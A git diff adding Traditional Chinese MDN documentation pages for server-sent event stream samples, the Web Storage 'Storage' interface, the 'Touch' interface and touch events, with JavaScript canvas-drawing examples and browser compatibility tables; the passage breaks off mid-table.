+
+<pre class="notranslate">: this is a test stream
+
+data: some text
+
+data: another message
+data: with two lines
+</pre>
+
+<h4 id="命名事件">命名事件</h4>
+
+<p>這個範例傳送了一些命名的事件。每一個事件都被指定了 <code>event</code> 欄位並且 <code>data</code> 欄位也有相應的 JSON 字串作為客戶端回應事件所需的資料。 <code>data</code> 欄位的內容可以是任何的字串；它並沒有強制必須以 JSON 的格式撰寫。</p>
+
+<pre class="notranslate">event: userconnect
+data: {"username": "bobby", "time": "02:33:48"}
+
+event: usermessage
+data: {"username": "bobby", "time": "02:34:11", "text": "Hi everyone."}
+
+event: userdisconnect
+data: {"username": "bobby", "time": "02:34:23"}
+
+event: usermessage
+data: {"username": "sean", "time": "02:34:36", "text": "Bye, bobby."}
+</pre>
+
+<h4 id="混合及配對">混合及配對</h4>
+
+<p>你並非一定只能用未命名訊息或已分類的事件；實際上你可以在單一的事件中把它們混合在一起。</p>
+
+<pre class="notranslate">event: userconnect
+data: {"username": "bobby", "time": "02:33:48"}
+
+data: Here's a system message of some kind that will get used
+data: to accomplish some task.
+
+event: usermessage
+data: {"username": "bobby", "time": "02:34:11", "text": "Hi everyone."}</pre>
+
+<div>
+<h3 id="EventSource"><code>EventSource</code></h3>
+
+<div>
+
+
+<p>{{Compat("api.EventSource")}}</p>
+</div>
+</div>
diff --git a/files/zh-tw/web/api/storage/index.html b/files/zh-tw/web/api/storage/index.html
new file mode 100644
index 0000000000..b3990bf756
--- /dev/null
+++ b/files/zh-tw/web/api/storage/index.html
@@ -0,0 +1,106 @@
+---
+title: Storage
+slug: Web/API/Storage
+translation_of: Web/API/Storage
+---
+<div> </div>
+
+<div>{{APIRef("Web Storage API")}}</div>
+
+<p><a href="/en-US/docs/Web/API/Web_Storage_API">Web Storage API</a> 中的 <strong><code>Storage</code></strong> 介面提供了存取特定 domain session 及本機儲存的方法。舉例而言，它能夠對存取的資料進行新增、刪除、修改，</p>
+
+<p>在操作上，如果是對象是 domain session storage ，會呼叫 {{domxref("Window.sessionStorage")}} 。而若是 local storage，則呼叫 {{domxref("Window.localStorage")}} 。</p>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{domxref("Storage.length")}} {{readonlyInline}}</dt>
+ <dd>返回一數字，代表儲存在 <code>Storage</code> 中的物件的數量。</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>{{domxref("Storage.key()")}}</dt>
+ <dd>當傳入一數字 <code>n</code>, 會返回 storage 裡第 n 個值的 key 值。</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Storage.getItem()")}}</dt>
+ <dd>當傳入一 key 值, 會返回 storage 裡此 key 值對應的 value 。</dd>
+ <dt>{{domxref("Storage.setItem()")}}</dt>
+ <dd>當傳入 key 及 value 的值, 會在 storage 裡新增此 key 及 value 值，若 key 已存在，則會把值更新成傳入的 value。</dd>
+ <dt>{{domxref("Storage.removeItem()")}}</dt>
+ <dd>當傳入一 key 值, 會把此 key 從 storage 裡刪除。</dd>
+ <dt>{{domxref("Storage.clear()")}}</dt>
+ <dd>執行此方法，會刪除所有在 storage 裡的 key。</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<p>在這裡，我們藉由呼叫 <code>localStorage</code> 來存取 <code>Storage</code> 物件，首先使用 <code>!localStorage.getItem('bgcolor')</code> 來<span style="font-size: 1rem; letter-spacing: -0.00278rem;">確認 </span><span style="font-size: 1rem; letter-spacing: -0.00278rem;">storage 裡是否有項目存在。</span></p>
+
+<p><span style="font-size: 1rem; letter-spacing: -0.00278rem;">如果有，則</span><span style="font-size: 1rem; letter-spacing: -0.00278rem;">執行函示</span><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">setStyles()</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> ，這個函示使用 </span><span style="font-size: 1rem; letter-spacing: -0.00278rem;">{{domxref("Storage.getItem()")}} 取得 storage 的值，並且用這些值更新頁面樣式 。</span></p>
+
+<p>如果沒有，便執行另一個函示 <code style="font-size: 1rem; letter-spacing: -0.00278rem;">populateStorage()</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">，他使用 {{domxref("Storage.setItem()")}} 先設定 storage 項目的值，然後才執行</span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">setStyles()</code>。</p>
+
+<pre class="brush: js">if(!localStorage.getItem('bgcolor')) {
+  populateStorage();
+}
+setStyles();
+
+function populateStorage() {
+  localStorage.setItem('bgcolor', document.getElementById('bgcolor').value);
+  localStorage.setItem('font', document.getElementById('font').value);
+  localStorage.setItem('image', document.getElementById('image').value);
+}
+
+function setStyles() {
+  var currentColor = localStorage.getItem('bgcolor');
+  var currentFont = localStorage.getItem('font');
+  var currentImage = localStorage.getItem('image');
+
+  document.getElementById('bgcolor').value = currentColor;
+  document.getElementById('font').value = currentFont;
+  document.getElementById('image').value = currentImage;
+
+  htmlElem.style.backgroundColor = '#' + currentColor;
+  pElem.style.fontFamily = currentFont;
+  imgElem.setAttribute('src', currentImage);
+}</pre>
+
+<div class="note">
+<p><strong>注意</strong>: 想要看這個範例完整運行，可以參考我們的  <a href="https://mdn.github.io/dom-examples/web-storage/">Web Storage Demo</a>.</p>
+</div>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webstorage.html#the-storage-interface', 'Storage')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("api.Storage")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a></li>
+ <li>{{domxref("Window.localStorage")}}</li>
+ <li>{{domxref("Window.sessionStorage")}}</li>
+ <li>{{domxref("CacheStorage")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/touch/index.html b/files/zh-tw/web/api/touch/index.html
new file mode 100644
index 0000000000..3dc1a243b0
--- /dev/null
+++ b/files/zh-tw/web/api/touch/index.html
@@ -0,0 +1,207 @@
+---
+title: Touch
+slug: Web/API/Touch
+translation_of: Web/API/Touch
+---
+<p>{{ APIRef("Touch Events") }}</p>
+
+<p><strong><code>Touch</code></strong> 介面表示了一個於觸控裝置上接觸的單一觸碰點。觸碰點通常是由手指或觸控筆所接觸，而裝置可能為觸控螢幕或觸控板。</p>
+
+<p>{{ domxref("Touch.radiusX") }}、{{ domxref("Touch.radiusY") }} 及 {{ domxref("Touch.rotationAngle") }} 描述了使用者與螢幕之間接觸的區域—<em>觸碰區（touch area）</em>，這對處理不精確的指向設備（如手指）來說相當有幫助。這些數值被用來描述一個盡可能與整個接觸面積相匹配的橢圓（如使用者的指尖）。{{experimental_inline}}</p>
+
+<div class="note">
+<p><strong>Note:</strong> Many of the properties' values are hardware-dependent; for example, if the device doesn't have a way to detect the amount of pressure placed on the surface, the <code>force</code> value will always be 0. This may also be the case for <code>radiusX</code> and <code>radiusY</code>; if the hardware reports only a single point, these values will be 1.</p>
+</div>
+
+<h2 id="建構式">建構式</h2>
+
+<dl>
+ <dt>{{domxref("Touch.Touch", "Touch()")}} {{experimental_inline}}</dt>
+ <dd>Creates a Touch object.</dd>
+</dl>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>This interface has no parent, and doesn't inherits or implements any other property.</em></p>
+
+<h3 id="基本屬性">基本屬性</h3>
+
+<dl>
+ <dt>{{ domxref("Touch.identifier") }} {{readonlyInline}}</dt>
+ <dd>Returns a unique identifier for this <code>Touch</code> object. A given touch point (say, by a finger) will have the same identifier for the duration of its movement around the surface. This lets you ensure that you're tracking the same touch all the time.</dd>
+ <dt><strong>{{ domxref("Touch.screenX") }} </strong>{{readonlyInline}}</dt>
+ <dd>Returns the X coordinate of the touch point relative to the left edge of the screen.</dd>
+ <dt><strong>{{ domxref("Touch.screenY") }} </strong>{{readonlyInline}}</dt>
+ <dd>Returns the Y coordinate of the touch point relative to the top edge of the screen.</dd>
+ <dt><strong>{{ domxref("Touch.clientX") }} </strong>{{readonlyInline}}</dt>
+ <dd>Returns the X coordinate of the touch point relative to the left edge of the browser viewport, not including any scroll offset.</dd>
+ <dt><strong>{{ domxref("Touch.clientY") }} </strong>{{readonlyInline}}</dt>
+ <dd>Returns the Y coordinate of the touch point relative to the top edge of the browser viewport, not including any scroll offset.</dd>
+ <dt>{{ domxref("Touch.pageX") }} {{readonlyInline}}</dt>
+ <dd>Returns the X coordinate of the touch point relative to the left edge of the document. Unlike <code>clientX</code>, this value includes the horizontal scroll offset, if any.</dd>
+ <dt>{{ domxref("Touch.pageY") }} {{readonlyInline}}</dt>
+ <dd>Returns the Y coordinate of the touch point relative to the top of the document. Unlike <code>clientY,</code> this value includes the vertical scroll offset, if any.</dd>
+ <dt>{{ domxref("Touch.target") }} {{readonlyInline}}</dt>
+ <dd>Returns the {{ domxref("Element")}} on which the touch point started when it was first placed on the surface, even if the touch point has since moved outside the interactive area of that element or even been removed from the document.</dd>
+</dl>
+
+<h3 id="觸碰區（Touch_area）">觸碰區（Touch area）</h3>
+
+<p>{{SeeCompatTable}}</p>
+
+<dl>
+ <dt>{{ domxref("Touch.radiusX") }} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns the X radius of the ellipse that most closely circumscribes the area of contact with the screen. The value is in pixels of the same scale as <code>screenX</code>.</dd>
+ <dt>{{ domxref("Touch.radiusY") }} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns the Y radius of the ellipse that most closely circumscribes the area of contact with the screen. The value is in pixels of the same scale as <code>screenY</code>.</dd>
+ <dt>{{ domxref("Touch.rotationAngle") }} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns the angle (in degrees) that the ellipse described by radiusX and radiusY must be rotated, clockwise, to most accurately cover the area of contact between the user and the surface.</dd>
+ <dt>{{ domxref("Touch.force") }}{{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns the amount of pressure being applied to the surface by the user, as a <code>float</code> between <code>0.0</code> (no pressure) and <code>1.0</code> (maximum pressure).</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p><em>This interface has no method and no parent, and doesn't inherits or implements any method.</em></p>
+
+<dl>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events 2', '#touch-interface', 'Touch')}}</td>
+   <td>{{Spec2('Touch Events 2')}}</td>
+   <td>Added <code>radiusX</code>, <code>radiusY</code>, <code>rotationAngle</code>, <code>force</code> properties, as well as the <code>Touch()</code> constructor.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events', '#touch-interface', 'Touch')}}</td>
+   <td>{{Spec2('Touch Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("22.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("18.0")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("52.0")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>radiusX</code>, <code>radiusY</code>, <code>rotationAngle</code>, <code>force</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>Touch()</code> constructor</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("6.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>11</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>radiusX</code>, <code>radiusY</code>, <code>rotationAngle</code>, <code>force</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("6.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>Touch()</code> constructor</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Touch events were implemented in Gecko 18.0, but removed again in 24.0 {{geckoRelease("24.0")}} on the desktop version of Firefox due to web compatibility issues ({{bug(888304)}}).</p>
+
+<p>[2] As of Gecko 52.0, touch events support has been fixed and reenabled in Windows desktop platforms.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("Touch_events","Touch Events Overview")}}</li>
+ <li>{{ domxref("Document.createTouch()") }}</li>
+</ul>
+
+<dl>
+</dl>
diff --git a/files/zh-tw/web/api/touch_events/index.html b/files/zh-tw/web/api/touch_events/index.html
new file mode 100644
index 0000000000..c12a14f49c
--- /dev/null
+++ b/files/zh-tw/web/api/touch_events/index.html
@@ -0,0 +1,387 @@
+---
+title: 觸控事件
+slug: Web/API/Touch_events
+translation_of: Web/API/Touch_events
+---
+<div>{{DefaultAPISidebar("Touch Events")}}</div>
+
+<p>為了支援基於觸碰的使用者介面，觸控事件提供了解釋手指或觸控筆於觸控螢幕或觸控板上活動的資訊。</p>
+
+<p>觸控事件介面為相對低階的 API，可用來支援應用程式特定的多點觸控互動，例如兩指手勢。多點觸控互動起始於手指或觸控筆於平面的第一個觸碰，其它的手指可能於其後伴隨著移動才觸碰到平面。而互動則結束於手指自觸控平面離開。在此互動期間，應用程式會於開始、移動以及結束的階段接收到觸控事件。</p>
+
+<p>觸控事件類似於滑鼠事件，但觸控事件支援同時間多個觸碰及其於觸控平面的每個不同點位置。{{domxref("TouchEvent")}} 介面封裝了所有當前作用中的觸碰點。{{domxref("Touch")}} 介面則表示個別的觸碰點，包括了如觸碰點於瀏覽器 viewport 中的相對位置資訊。</p>
+
+<h2 id="定義">定義</h2>
+
+<dl>
+ <dt>平面（Surface）</dt>
+ <dd>The touch-sensitive surface. This may be a screen or trackpad.</dd>
+</dl>
+
+<dl>
+ <dt>觸碰點（Touch point）</dt>
+ <dd>A point of contact with the surface. This may be a finger (or elbow, ear, nose, whatever, but typically a finger) or stylus.</dd>
+</dl>
+
+<h2 id="介面">介面</h2>
+
+<dl>
+ <dt>{{domxref("TouchEvent")}}</dt>
+ <dd>Represents an event that occurs when the state of touches on the surface changes.</dd>
+ <dt>{{domxref("Touch")}}</dt>
+ <dd>Represents a single point of contact between the user and the touch surface.</dd>
+ <dt>{{domxref("TouchList")}}</dt>
+ <dd>Represents a group of touches; this is used when the user has, for example, multiple fingers on the surface at the same time.</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<p>This example tracks multiple touch points at a time, allowing the user to draw in a {{HTMLElement("canvas")}} with more than one finger at a time. It will only work on a browser that supports touch events.</p>
+
+<div class="note"><strong>Note:</strong> The text below uses the term "finger" when describing the contact with the surface, but it could, of course, also be a stylus or other contact method.</div>
+
+<h3 id="Create_a_canvas">Create a canvas</h3>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="600" height="600" style="border:solid black 1px;"&gt;
+  Your browser does not support canvas element.
+&lt;/canvas&gt;
+&lt;br&gt;
+&lt;button onclick="startup()"&gt;Initialize&lt;/button&gt;
+&lt;br&gt;
+Log: &lt;pre id="log" style="border: 1px solid #ccc;"&gt;&lt;/pre&gt;
+</pre>
+
+<h3 id="Setting_up_the_event_handlers">Setting up the event handlers</h3>
+
+<p>When the page loads, the <code>startup()</code> function shown below should be called by our {{HTMLElement("body")}} element's <code>onload</code> attribute (but in the example we use a button to trigger it, due to limitations of the MDN live example system).</p>
+
+<pre class="brush: js">function startup() {
+  var el = document.getElementsByTagName("canvas")[0];
+  el.addEventListener("touchstart", handleStart, false);
+  el.addEventListener("touchend", handleEnd, false);
+  el.addEventListener("touchcancel", handleCancel, false);
+  el.addEventListener("touchmove", handleMove, false);
+  log("initialized.");
+}
+</pre>
+
+<p>This simply sets up all the event listeners for our {{HTMLElement("canvas")}} element so we can handle the touch events as they occur.</p>
+
+<h4 id="Tracking_new_touches">Tracking new touches</h4>
+
+<p>We'll keep track of the touches in-progress.</p>
+
+<pre class="brush: js">var ongoingTouches = [];
+</pre>
+
+<p>When a {{event("touchstart")}} event occurs, indicating that a new touch on the surface has occurred, the <code>handleStart()</code> function below is called.</p>
+
+<pre class="brush: js">function handleStart(evt) {
+  evt.preventDefault();
+  log("touchstart.");
+  var el = document.getElementsByTagName("canvas")[0];
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i &lt; touches.length; i++) {
+    log("touchstart:" + i + "...");
+    ongoingTouches.push(copyTouch(touches[i]));
+    var color = colorForTouch(touches[i]);
+    ctx.beginPath();
+    ctx.arc(touches[i].pageX, touches[i].pageY, 4, 0, 2 * Math.PI, false);  // a circle at the start
+    ctx.fillStyle = color;
+    ctx.fill();
+    log("touchstart:" + i + ".");
+  }
+}
+</pre>
+
+<p>This calls {{domxref("event.preventDefault()")}} to keep the browser from continuing to process the touch event (this also prevents a mouse event from also being delivered). Then we get the context and pull the list of changed touch points out of the event's {{domxref("TouchEvent.changedTouches")}} property.</p>
+
+<p>After that, we iterate over all the {{domxref("Touch")}} objects in the list, pushing them onto an array of active touch points and drawing the start point for the draw as a small circle; we're using a 4-pixel wide line, so a 4 pixel radius circle will show up neatly.</p>
+
+<h4 id="Drawing_as_the_touches_move">Drawing as the touches move</h4>
+
+<p>Each time one or more fingers moves, a {{event("touchmove")}} event is delivered, resulting in our <code>handleMove()</code> function being called. Its responsibility in this example is to update the cached touch information and to draw a line from the previous position to the current position of each touch.</p>
+
+<pre class="brush: js">function handleMove(evt) {
+  evt.preventDefault();
+  var el = document.getElementsByTagName("canvas")[0];
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i &lt; touches.length; i++) {
+    var color = colorForTouch(touches[i]);
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+
+    if (idx &gt;= 0) {
+      log("continuing touch "+idx);
+      ctx.beginPath();
+      log("ctx.moveTo(" + ongoingTouches[idx].pageX + ", " + ongoingTouches[idx].pageY + ");");
+      ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
+      log("ctx.lineTo(" + touches[i].pageX + ", " + touches[i].pageY + ");");
+      ctx.lineTo(touches[i].pageX, touches[i].pageY);
+      ctx.lineWidth = 4;
+      ctx.strokeStyle = color;
+      ctx.stroke();
+
+      ongoingTouches.splice(idx, 1, copyTouch(touches[i]));  // swap in the new touch record
+      log(".");
+    } else {
+      log("can't figure out which touch to continue");
+    }
+  }
+}
+</pre>
+
+<p>This iterates over the changed touches as well, but it looks in our cached touch information array for the previous information about each touch in order to determine the starting point for each touch's new line segment to be drawn. This is done by looking at each touch's {{domxref("Touch.identifier")}} property. This property is a unique integer for each touch, and remains consistent for each event during the duration of each finger's contact with the surface.</p>
+
+<p>This lets us get the coordinates of the previous position of each touch and use the appropriate context methods to draw a line segment joining the two positions together.</p>
+
+<p>After drawing the line, we call <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice"><code>Array.splice()</code></a> to replace the previous information about the touch point with the current information in the <code>ongoingTouches</code> array.</p>
+
+<h4 id="Handling_the_end_of_a_touch">Handling the end of a touch</h4>
+
+<p>When the user lifts a finger off the surface, a {{event("touchend")}} event is sent. We handle both of these the same way: by calling the <code>handleEnd()</code> function below. Its job is to draw the last line segment for each touch that ended and remove the touch point from the ongoing touch list.</p>
+
+<pre class="brush: js">function handleEnd(evt) {
+  evt.preventDefault();
+  log("touchend");
+  var el = document.getElementsByTagName("canvas")[0];
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i &lt; touches.length; i++) {
+    var color = colorForTouch(touches[i]);
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+
+    if (idx &gt;= 0) {
+      ctx.lineWidth = 4;
+      ctx.fillStyle = color;
+      ctx.beginPath();
+      ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
+      ctx.lineTo(touches[i].pageX, touches[i].pageY);
+      ctx.fillRect(touches[i].pageX - 4, touches[i].pageY - 4, 8, 8);  // and a square at the end
+      ongoingTouches.splice(idx, 1);  // remove it; we're done
+    } else {
+      log("can't figure out which touch to end");
+    }
+  }
+}
+</pre>
+
+<p>This is very similar to the previous function; the only real differences are that we draw a small square to mark the end and that when we call <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice"><code>Array.splice()</code></a>, we simply remove the old entry from the ongoing touch list, without adding in the updated information. The result is that we stop tracking that touch point.</p>
+
+<h4 id="Handling_canceled_touches">Handling canceled touches</h4>
+
+<p>If the user's finger wanders into browser UI, or the touch otherwise needs to be canceled, the {{event("touchcancel")}} event is sent, and we call the <code>handleCancel()</code> function below.</p>
+
+<pre class="brush: js">function handleCancel(evt) {
+  evt.preventDefault();
+  log("touchcancel.");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i &lt; touches.length; i++) {
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+    ongoingTouches.splice(idx, 1);  // remove it; we're done
+  }
+}
+</pre>
+
+<p>Since the idea is to immediately abort the touch, we simply remove it from the ongoing touch list without drawing a final line segment.</p>
+
+<h3 id="Convenience_functions">Convenience functions</h3>
+
+<p>This example uses two convenience functions that should be looked at briefly to help make the rest of the code more clear.</p>
+
+<h4 id="Selecting_a_color_for_each_touch">Selecting a color for each touch</h4>
+
+<p>In order to make each touch's drawing look different, the <code>colorForTouch()</code> function is used to pick a color based on the touch's unique identifier. This identifier is an opaque number, but we can at least rely on it differing between the currently-active touches.</p>
+
+<pre class="brush: js">function colorForTouch(touch) {
+  var r = touch.identifier % 16;
+  var g = Math.floor(touch.identifier / 3) % 16;
+  var b = Math.floor(touch.identifier / 7) % 16;
+  r = r.toString(16); // make it a hex digit
+  g = g.toString(16); // make it a hex digit
+  b = b.toString(16); // make it a hex digit
+  var color = "#" + r + g + b;
+  log("color for touch with identifier " + touch.identifier + " = " + color);
+  return color;
+}
+</pre>
+
+<p>The result from this function is a string that can be used when calling {{HTMLElement("canvas")}} functions to set drawing colors. For example, for a {{domxref("Touch.identifier")}} value of 10, the resulting string is "#aaa".</p>
+
+<h4 id="Copying_a_touch_object">Copying a touch object</h4>
+
+<p>Some browsers (mobile Safari, for one) re-use touch objects between events, so it's best to copy the bits you care about, rather than referencing the entire object.</p>
+
+<pre class="brush: js">function copyTouch(touch) {
+  return { identifier: touch.identifier, pageX: touch.pageX, pageY: touch.pageY };
+}</pre>
+
+<h4 id="Finding_an_ongoing_touch">Finding an ongoing touch</h4>
+
+<p>The <code>ongoingTouchIndexById()</code> function below scans through the <code>ongoingTouches</code> array to find the touch matching the given identifier, then returns that touch's index into the array.</p>
+
+<pre class="brush: js">function ongoingTouchIndexById(idToFind) {
+  for (var i = 0; i &lt; ongoingTouches.length; i++) {
+    var id = ongoingTouches[i].identifier;
+
+    if (id == idToFind) {
+      return i;
+    }
+  }
+  return -1;    // not found
+}
+</pre>
+
+<h4 id="Showing_what's_going_on">Showing what's going on</h4>
+
+<pre class="brush: js">function log(msg) {
+  var p = document.getElementById('log');
+  p.innerHTML = msg + "\n" + p.innerHTML;
+}</pre>
+
+<p>If your browser supports it, you can {{LiveSampleLink('Example', 'see it live')}}.</p>
+
+<p><a href="http://jsfiddle.net/Darbicus/z3Xdx/10/">jsFiddle example</a></p>
+
+<h2 id="Additional_tips">Additional tips</h2>
+
+<p>This section provides additional tips on how to handle touch events in your web application.</p>
+
+<h3 id="Handling_clicks">Handling clicks</h3>
+
+<p>Since calling <code>preventDefault()</code> on a {{event("touchstart")}} or the first {{event("touchmove")}} event of a series prevents the corresponding mouse events from firing, it's common to call <code>preventDefault()</code> on {{event("touchmove")}} rather than {{event("touchstart")}}. That way, mouse events can still fire and things like links will continue to work. Alternatively, some frameworks have taken to refiring touch events as mouse events for this same purpose. (This example is oversimplified and may result in strange behavior. It is only intended as a guide.)</p>
+
+<pre class="brush: js">function onTouch(evt) {
+  evt.preventDefault();
+  if (evt.touches.length &gt; 1 || (evt.type == "touchend" &amp;&amp; evt.touches.length &gt; 0))
+    return;
+
+  var newEvt = document.createEvent("MouseEvents");
+  var type = null;
+  var touch = null;
+
+  switch (evt.type) {
+    case "touchstart":
+      type = "mousedown";
+      touch = evt.changedTouches[0];
+      break;
+    case "touchmove":
+      type = "mousemove";
+      touch = evt.changedTouches[0];
+      break;
+    case "touchend":
+      type = "mouseup";
+      touch = evt.changedTouches[0];
+      break;
+  }
+
+  newEvt.initMouseEvent(type, true, true, evt.originalTarget.ownerDocument.defaultView, 0,
+    touch.screenX, touch.screenY, touch.clientX, touch.clientY,
+    evt.ctrlKey, evt.altKey, evt.shiftKey, evt.metaKey, 0, null);
+  evt.originalTarget.dispatchEvent(newEvt);
+}
+</pre>
+
+<h3 id="Calling_preventDefault()_only_on_a_second_touch">Calling preventDefault() only on a second touch</h3>
+
+<p>One technique for preventing things like <code>pinchZoom</code> on a page is to call <code>preventDefault()</code> on the second touch in a series. This behavior is not well defined in the touch events spec, and results in different behavior for different browsers (i.e., iOS will prevent zooming but still allow panning with both fingers; Android will allow zooming but not panning; Opera and Firefox currently prevent all panning and zooming.) Currently, it's not recommended to depend on any particular behavior in this case, but rather to depend on meta viewport to prevent zooming.</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events 2', '#touch-interface', 'Touch')}}</td>
+   <td>{{Spec2('Touch Events 2')}}</td>
+   <td>Added <code>radiusX</code>, <code>radiusY</code>, <code>rotationAngle</code>, <code>force</code> properties</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events', '#touch-interface', 'Touch')}}</td>
+   <td>{{Spec2('Touch Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<p>Note that unfortunately touch events may not fire at all on laptops with touch functionality (<a href="/en-US/docs/">test page</a>).</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("22.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("18.0")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("52.0")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
